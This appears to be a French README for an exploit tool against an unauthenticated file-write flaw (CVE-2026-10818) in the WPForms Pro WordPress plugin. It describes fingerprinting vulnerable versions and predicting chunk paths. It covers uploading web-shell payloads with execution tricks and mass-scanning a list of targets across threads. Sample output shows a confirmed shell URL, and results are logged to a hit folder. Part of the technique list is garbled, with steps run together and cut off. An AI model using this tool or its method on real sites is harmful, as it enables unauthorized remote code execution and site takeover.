
WPForms Pro <= 1.10.1.1 - Écriture de fichier arbitraire non authentifiée via l'ordre d'initialisation/finalisation du téléversement fragmenté
WPForms Pro <= 1.10.1.1 - Écriture arbitraire de fichier non authentifiée via l'ordonnancement Init/Finalize du téléversement par fragments
Exploit de preuve de concept
Ordonnancement Init/Finalize du téléversement par fragments → Exposition d'un chemin prévisible → Exécution de code à distance
| Champ | Détail |
|---|---|
| ID CVE | CVE-2026-10818 |
| Plugin concerné | WPForms Pro (WordPress) |
| Versions concernées | Toutes les versions jusqu'à 1.10.1.1 incluse |
| Type | Écriture arbitraire de fichier non authentifiée |
| CWE | CWE-434 : Téléversement sans restriction d'un fichier de type dangereux |
| CVSS 3.1 | 8.1 ÉLEVÉ — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentification | Aucune requise |
Le plugin WPForms Pro pour WordPress est vulnérable au téléversement arbitraire de fichiers dans toutes les versions jusqu'à la 1.10.1.1 incluse, via la fonction ajax_chunk_upload_finalize. Cela est dû au fait que la validation du type de fichier intervient après que les métadonnées des fragments et le contenu des fichiers ont déjà été écrits sur le disque, et que le fichier assemblé n'est pas supprimé en cas d'échec de la validation. Il est ainsi possible pour des attaquants non authentifiés de téléverser des fichiers potentiellement exécutables, ce qui rend possible l'exécution de code à distance.
wpforms_upload_chunk_init → Metadata created BEFORE extension validation
wpforms_upload_chunk → Chunk bytes written regardless of init result
wpforms_file_chunks_uploaded → File assembled BEFORE type validation
→ File persists on disk even when validation fails
La chaîne de vulnérabilité exploite un défaut d'ordonnancement critique dans le cycle de vie du téléversement par fragments :
SHA1(UUID)-0.chunk)wp_ajax_nopriv_*)readme.txt et le code source HTML pour identifier les versions vulnérables de WPFormswpforms_upload_chunk_init est accessible depuis l'extérieur avant de continuerSHA1(UUID)SHA1(UUID contrôlé par le client) pour dériver l'URL exacte du fragment sans avoir à deviner/wpforms/tmp/ avant et après les téléversements exécutables pour identifier les fichiers nouvellement écrits<32hex>.<ext>.chunk/x.php, /.php) pour déclencher l'exécution PHP sur des extensions non-PHPPython >= 3.8
pip install requests urllib3 beautifulsoup4
beautifulsoup4est optionnel mais recommandé pour une extraction plus fiable des champs de formulaire.
python CVE-2026-10818.py
Vous serez invité à fournir :
| Invite | Description | Défaut |
|---|---|---|
| Fichier de cibles | Chemin vers un fichier texte contenant une cible par ligne | list.txt |
| Threads | Nombre de workers concurrents (1–20) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Une URL par ligne. Prend en charge http://, https://, les domaines nus, les IP et les installations en sous-répertoire.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ┃
┃ ██▄ ██ ██ ██ ┃
┃ ████ ██ ████ ┃
┃ ██ ██ ██ ██ ┃
┃ ██ ████ ████ ┃
┃ ██ ███ ██ ██ ┃
┃ ┃
┃ Nxploited ━ Khaled Alenazi ━ T.m @Kxploit ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 ┃
┃ Chunked Upload → Predictable Path → RCE ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
Pendant le scan, chaque cible progresse à travers des étapes étiquetées :
02:14:52 ◆ target.com VER WPForms 1.9.3.1 vulnerable
02:14:53 ◆ target.com FORM 1 upload form(s) on /contact
02:14:53 ◆ target.com UPLOAD 6 safe + 5 exec payloads
02:14:55 ◆ target.com FIN poly_png → a8f3...1b22.png URL returned
02:14:57 ◆ target.com DIR listing enabled, 4 file(s) before exec upload
02:14:59 ◐ target.com EXEC shell_php → finalized on disk (hash unknown)
02:15:01 ◆ target.com DIR 1 NEW exec file(s) after upload!
● target.com SHELL dir-new:7c4f...e8a1.php https://target.com/wp-content/uploads/wpforms/tmp/7c4f...e8a1.php
Tous les résultats sont enregistrés dans Nx_hit/ :
| Fichier | Contenu |
|---|---|
Nx_shell.txt | RCE confirmée — URL, étiquette et aperçu du corps de la réponse |
Nx_vuln.txt | Écriture arbitraire de fichier confirmée sans vérification d'exécution |